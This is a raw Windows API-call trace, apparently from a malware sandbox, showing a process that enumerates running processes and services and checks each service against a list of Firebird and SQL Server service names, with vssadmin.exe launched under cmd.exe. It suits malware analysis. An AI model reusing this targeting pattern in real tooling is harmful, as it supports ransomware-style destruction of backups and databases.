[0212.391] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0212.391] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0212.392] lstrlenW (lpString="winhost.exe") returned 11 [0212.392] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0212.393] lstrlenW (lpString="cmd.exe") returned 7 [0212.393] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0212.393] lstrlenW (lpString="conhost.exe") returned 11 [0212.393] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0212.465] lstrlenW (lpString="vssadmin.exe") returned 12 [0212.466] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0212.468] lstrlenW (lpString="VSSVC.exe") returned 9 [0212.468] Process32NextW (in: hSnapshot=0x1e4, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0212.469] CloseHandle (hObject=0x1e4) returned 1 [0212.562] Sleep (dwMilliseconds=0x1f4) [0213.167] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640018 [0213.168] EnumServicesStatusExW (in: hSCManager=0x640018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0213.168] GetLastError () returned 0xea [0213.168] EnumServicesStatusExW (in: hSCManager=0x640018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e218, cbBufSize=0x13a6, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e218, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0213.169] CloseServiceHandle (hSCObject=0x640018) returned 1 [0213.169] lstrlenW (lpString="Appinfo") returned 7 [0213.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0213.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0213.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0213.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0213.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0213.169] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0213.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0213.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0213.169] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0213.169] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0213.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0213.169] lstrlenW (lpString="AudioSrv") returned 8 [0213.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0213.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0213.169] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0213.169] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0213.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0213.169] lstrlenW (lpString="BFE") returned 3 [0213.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0213.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0213.169] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0213.169] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0213.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0213.169] lstrlenW (lpString="CryptSvc") returned 8 [0213.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0213.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0213.169] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0213.169] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0213.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0213.169] lstrlenW (lpString="CscService") returned 10 [0213.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0213.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0213.170] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0213.170] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0213.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0213.170] lstrlenW (lpString="DcomLaunch") returned 10 [0213.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0213.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0213.170] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0213.170] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0213.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0213.170] lstrlenW (lpString="Dhcp") returned 4 [0213.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0213.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0213.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0213.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0213.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0213.170] lstrlenW (lpString="Dnscache") returned 8 [0213.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0213.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0213.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0213.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0213.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0213.170] lstrlenW (lpString="DPS") returned 3 [0213.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0213.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0213.170] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0213.170] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0213.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0213.170] lstrlenW (lpString="eventlog") returned 8 [0213.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0213.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0213.170] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0213.170] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0213.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0213.170] lstrlenW (lpString="EventSystem") returned 11 [0213.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0213.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0213.170] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0213.170] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0213.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0213.170] lstrlenW (lpString="FontCache") returned 9 [0213.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0213.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0213.170] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0213.171] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0213.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0213.171] lstrlenW (lpString="gpsvc") returned 5 [0213.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0213.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0213.171] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0213.171] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0213.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0213.171] lstrlenW (lpString="iphlpsvc") returned 8 [0213.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0213.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0213.171] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0213.171] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0213.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0213.171] lstrlenW (lpString="LanmanServer") returned 12 [0213.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0213.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0213.171] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0213.171] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0213.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0213.171] lstrlenW (lpString="LanmanWorkstation") returned 17 [0213.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0213.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0213.171] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0213.171] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0213.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0213.171] lstrlenW (lpString="lmhosts") returned 7 [0213.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0213.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0213.171] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0213.171] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0213.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0213.171] lstrlenW (lpString="MMCSS") returned 5 [0213.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0213.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0213.171] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0213.171] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0213.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0213.171] lstrlenW (lpString="MpsSvc") returned 6 [0213.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0213.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0213.171] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0213.171] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0213.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0213.171] lstrlenW (lpString="Netman") returned 6 [0213.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0213.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0213.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0213.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0213.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0213.172] lstrlenW (lpString="netprofm") returned 8 [0213.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0213.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0213.172] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0213.172] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0213.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0213.172] lstrlenW (lpString="NlaSvc") returned 6 [0213.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0213.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0213.172] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0213.172] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0213.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0213.172] lstrlenW (lpString="nsi") returned 3 [0213.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0213.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0213.172] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0213.172] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0213.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0213.172] lstrlenW (lpString="PcaSvc") returned 6 [0213.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0213.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0213.172] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0213.172] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0213.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0213.172] lstrlenW (lpString="PlugPlay") returned 8 [0213.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0213.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0213.172] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0213.172] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0213.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0213.172] lstrlenW (lpString="Power") returned 5 [0213.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0213.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0213.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0213.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0213.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0213.172] lstrlenW (lpString="ProfSvc") returned 7 [0213.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0213.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0213.172] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0213.172] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0213.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0213.172] lstrlenW (lpString="RpcEptMapper") returned 12 [0213.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0213.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0213.173] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0213.173] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0213.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0213.173] lstrlenW (lpString="RpcSs") returned 5 [0213.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0213.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0213.173] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0213.173] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0213.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0213.173] lstrlenW (lpString="SamSs") returned 5 [0213.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0213.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0213.173] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0213.173] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0213.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0213.173] lstrlenW (lpString="Schedule") returned 8 [0213.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0213.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0213.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0213.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0213.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0213.173] lstrlenW (lpString="SENS") returned 4 [0213.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0213.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0213.173] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0213.173] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0213.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0213.173] lstrlenW (lpString="ShellHWDetection") returned 16 [0213.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0213.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0213.173] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0213.173] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0213.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0213.173] lstrlenW (lpString="Spooler") returned 7 [0213.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0213.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0213.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0213.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0213.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0213.173] lstrlenW (lpString="sppsvc") returned 6 [0213.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0213.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0213.173] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0213.174] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0213.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0213.174] lstrlenW (lpString="SysMain") returned 7 [0213.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0213.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0213.174] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0213.174] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0213.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0213.174] lstrlenW (lpString="Themes") returned 6 [0213.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0213.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0213.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0213.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0213.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0213.174] lstrlenW (lpString="TrkWks") returned 6 [0213.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0213.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0213.174] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0213.174] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0213.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0213.174] lstrlenW (lpString="UxSms") returned 5 [0213.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0213.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0213.174] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0213.174] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0213.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0213.174] lstrlenW (lpString="VSS") returned 3 [0213.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0213.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0213.174] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0213.174] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0213.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0213.174] lstrlenW (lpString="WdiServiceHost") returned 14 [0213.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0213.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0213.174] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0213.175] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0213.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0213.175] lstrlenW (lpString="WdiSystemHost") returned 13 [0213.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0213.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0213.175] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0213.175] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0213.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0213.175] lstrlenW (lpString="WinDefend") returned 9 [0213.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0213.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0213.175] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0213.175] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0213.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0213.175] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0213.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0213.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0213.175] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0213.175] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0213.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0213.175] lstrlenW (lpString="Winmgmt") returned 7 [0213.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0213.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0213.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0213.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0213.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0213.175] lstrlenW (lpString="wscsvc") returned 6 [0213.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0213.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0213.175] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0213.175] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0213.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0213.175] lstrlenW (lpString="wuauserv") returned 8 [0213.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0213.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0213.176] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0213.176] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0213.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0213.176] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0213.180] Process32FirstW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.181] Process32NextW (in: hSnapshot=0x168, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, 